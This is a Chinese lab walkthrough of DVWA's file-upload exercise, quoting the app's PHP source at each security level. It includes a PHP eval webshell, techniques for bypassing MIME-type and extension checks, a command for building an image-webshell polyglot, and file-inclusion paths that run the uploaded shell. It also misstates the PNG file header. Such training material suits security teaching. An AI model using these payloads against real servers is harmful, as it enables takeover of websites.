DVWA_File Upload 檔案上傳 抓包改包傳木馬 圖片馬的製作 Impossible的程式碼審計
鳴謝(本文大部分內容均轉載自):
http://www.storysec.com/dvwa-file-upload.html
檔案上傳漏洞是指伺服器在接收使用者上傳的檔案的時候,沒有嚴格地加以限制和過濾,
如果黑客上傳了木馬,也就是常說的“掛馬”,進而拿到了webshell,就可以為所欲為了,嘿嘿嘿嘿嘿嘿嘿嘿嘿~~~~
Low:
if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; //網站根目錄+上傳檔案目錄 $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); //加上取上傳檔案的名字 // Can we move the file to the upload folder? if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) { // No echo '<pre>Your image was not uploaded.</pre>'; } else { // Yes! echo "<pre>{$target_path} succesfully uploaded!</pre>"; } }
對我們上傳的檔案的型別幾乎沒有任何限制,上傳一個最簡單的一句話木馬即可
<?php @eval($_POST['zzz']); ?>
得到在:http://192.168.141.129/dvwa/vulnerabilities/upload/#
下的路徑:../../hackable/uploads/shell.php
即:http://192.168.141.129/dvwa/hackable/uploads/shell.php
菜刀一連即可成功
Medium:
// File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // Is it an image? if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) && ( $uploaded_size < 100000 ) ) {
對上傳的檔案的型別和大小進行了檢驗和篩選——只有jpeg/png才能上傳成功,且大小必須小於100000b
有三種方式拿webshell,首先介紹兩種:
我們的目標很明確——上傳一個.php的木馬,但是要繞過伺服器的格式檢驗。
那麼伺服器是如何檢驗我們上傳的檔案的格式的呢?很簡單——通過檢查我們上傳的檔案的type屬性(FILES['uploaded']['type'])
而最後儲存在伺服器的檔案,它的格式由什麼決定的呢?是由它的名字,而它的名字又由什麼決定的呢——上傳的檔案的name屬性(FILES['uploaded']['name'])
<form enctype="multipart/form-data" action="#" method="POST"> <input type="hidden" name="MAX_FILE_SIZE" value="100000" /> Choose an image to upload:<br /><br /> <input name="uploaded" type="file" /><br /> <br /> <input type="submit" name="Upload" value="Upload" /> </form>
這是上傳表單的原始碼,可以看到,FILES['uploaded']確定了我們上的檔案
所以有兩種payload:
1、本地為shell.php,通過改包,將其Content-Type屬性改為image/jpeg
Content-Type屬性一旦被改為image/jpeg,FILES['uploaded']['type']取出來的就是'jpeg',繞過了檢驗,
但是此時它的名字filename是shell.php,最後儲存在伺服器上的仍然是shell.php,菜刀一連,成功
2、本地為shell.jpeg,通過改包,將其filename改成.php格式的檔案
這樣,最後伺服器也會把它當成php檔案儲存
無論是哪種方式,bp改包之後都應該是:
Payload3:
還可以直接上傳.png檔案,不過沒法執行、、
所以我們可以和檔案包含攻擊的Medium結合起來,用?page包含了我們的shell.png,然後菜刀一連....
Medium的檔案包含可以絕對路徑本地包含也可以遠端檔案包含,所以在菜刀中如此編輯:
http://192.168.141.129/dvwa/vulnerabilities/fi/?page=C:\phpStudy\phpTutorial\WWW\dvwa\hackable\uploads\shell.png
http://192.168.141.129/dvwa/vulnerabilities/fi/?page=htthttp://://www\dvwa\hackable\uploads\shell.png
High:
核心檢驗程式碼:
// File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) {
substr(string,index):返回string從index開始剩下得所有部分
strrops(string,find):返回find在string中最後一次出現的位置
substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1)
也就是取出了檔案的副檔名
getimagesize()用以獲取檔案大小等資訊,更是嚴格限制了檔案型別必須為圖片型別
所以我們必須要繞過兩個東西:
1、副檔名檢驗
2、getimagesize()檢驗
關於副檔名檢驗很簡單,可以利用%00截斷,也可以利用檔案包含攻擊
下面是如何繞過getimagesize()檢驗:
有過MISC經驗的同學,一定對影象檔案頭有了解:
JPEG/JPG:檔案頭標識:FF D8 檔案尾標識:FF D9
PNG:檔案頭標識:89 50 4E 4F 0D 0A 1A 0A
圖片馬 的製作:
cmd下:
copy a.png/b+b.php/a c.png
然後直接上傳即可,不用抓包改包
菜刀一連,可拿webshell
Impossible:
<?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>
基本可以被打到自閉了、、、、
這裡可以看到,對檔名進行了md5加密,幾乎不可能%00截斷繞過了